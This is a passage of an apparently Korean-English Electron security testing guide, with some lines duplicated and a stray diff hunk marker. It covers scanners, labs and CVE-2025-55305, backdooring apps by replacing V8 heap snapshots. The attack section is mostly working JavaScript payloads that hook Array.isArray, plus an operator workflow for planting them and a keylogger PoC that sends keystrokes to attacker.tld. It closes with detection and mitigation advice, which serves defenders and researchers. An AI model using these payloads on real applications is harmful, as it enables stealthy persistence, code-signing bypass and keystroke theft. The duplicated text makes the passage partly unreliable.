- [**Electro.ng**](https://electro.ng/): 구매해야 합니다.
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티패턴을 식별하는 도구입니다.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 은 Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 은 취약한 서드파티 라이브러리를 검사하는 도구입니다.
- [**Electro.ng**](https://electro.ng/): 유료(구매 필요)
## Labs
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 에서 취약한 Electron 앱을 익스플로잇하는 실습을 찾을 수 있습니다.
실습에 도움이 될 몇 가지 명령어:
실습에서 도움이 되는 몇 가지 명령:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -429,14 +441,127 @@ cd vulnerable1
npm install
npm start
```
## **참고문헌**
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot을 역직렬화하여 각 V8 isolate(main, preload, renderer)를 초기화합니다 (v8_context_snapshot.bin, 및 선택적으로 browser_v8_context_snapshot.bin). 역사적으로 Electron의 integrity fuses는 이러한 스냅샷을 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS의 코드 서명 검사를 모두 회피했습니다. 그 결과, 사용자가 쓰기 가능한 설치 경로에 있는 스냅샷을 교체하면 서명된 바이너리나 ASAR를 수정하지 않고도 앱 내부에서 은밀하고 지속적인 코드 실행이 가능했습니다.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots는 포함하지 않았습니다 (CVE-2025-55305). Chromium 또한 스냅샷에 대한 무결성 검사를 수행하지 않습니다.
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로에 설치되는 시스템에서 흔합니다 (예: Windows의 %AppData%\Local; macOS의 /Applications는 주의사항 있음).
- Effect: 자주 사용되는 builtin(“gadget”)을 덮어써 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있어 지속성 및 코드 서명 검증 회피가 가능합니다.
- Affected surface: 사용자 쓰기 가능한 위치에서 스냅샷을 로드하는 Electron 앱(심지어 fuses가 활성화된 경우도 포함) 및 Chromium 기반 브라우저.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (main과 renderer에서 서로 다른 코드를 실행)
- Main process detection: Node 전용 전역(process.pid, process.binding(), process.dlopen 등)은 main 프로세스 isolate에 존재합니다.
- Browser/renderer detection: 문서 컨텍스트에서 실행될 때 Browser 전용 전역(alert 등)을 사용할 수 있습니다.
Example gadget that probes main-process Node capabilities once
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
Renderer/browser-context 데이터 탈취 PoC (예: Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
운영자 워크플로우
1) 공통 builtin(예: Array.isArray)을 덮어쓰는 payload.js를 작성하고, 선택적으로 isolate별 분기를 추가한다.
2) Chromium 소스 없이 snapshot을 빌드한다:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) 대상 애플리케이션의 snapshot 파일을 덮어쓴다:
- v8_context_snapshot.bin (항상 사용)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행된다.
주의 및 고려사항
- Integrity/signature bypass: Snapshot 파일은 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electrons fuses나 Chromium 무결성 통제에 포함되지 않았다.
- Persistence: 사용자 쓰기 가능한 설치 위치의 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정상 앱처럼 보인다.
- Chromium browsers: 동일한 변조 개념이 사용자 쓰기 가능한 위치에 설치된 Chrome/derivatives에도 적용된다. Chrome은 다른 무결성 완화책을 가지고 있지만 물리적으로 로컬한 공격은 위협 모델에서 명시적으로 제외한다.
탐지 및 완화
- snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제 대상에 포함시킨다 (CVE-2025-55305 fix).
- 관리자 전용 쓰기 가능한 설치 위치를 권장한다; v8_context_snapshot.bin과 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하고 모니터링한다.
- 초기 런타임에서의 builtin 덮어쓰기와 예상치 못한 snapshot 변경을 탐지하고; 역직렬화된 snapshot이 예상 값과 일치하지 않으면 경보를 발생시킨다.
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron 보안에 대한 더 많은 연구 및 글은 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인할 수 있습니다.
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)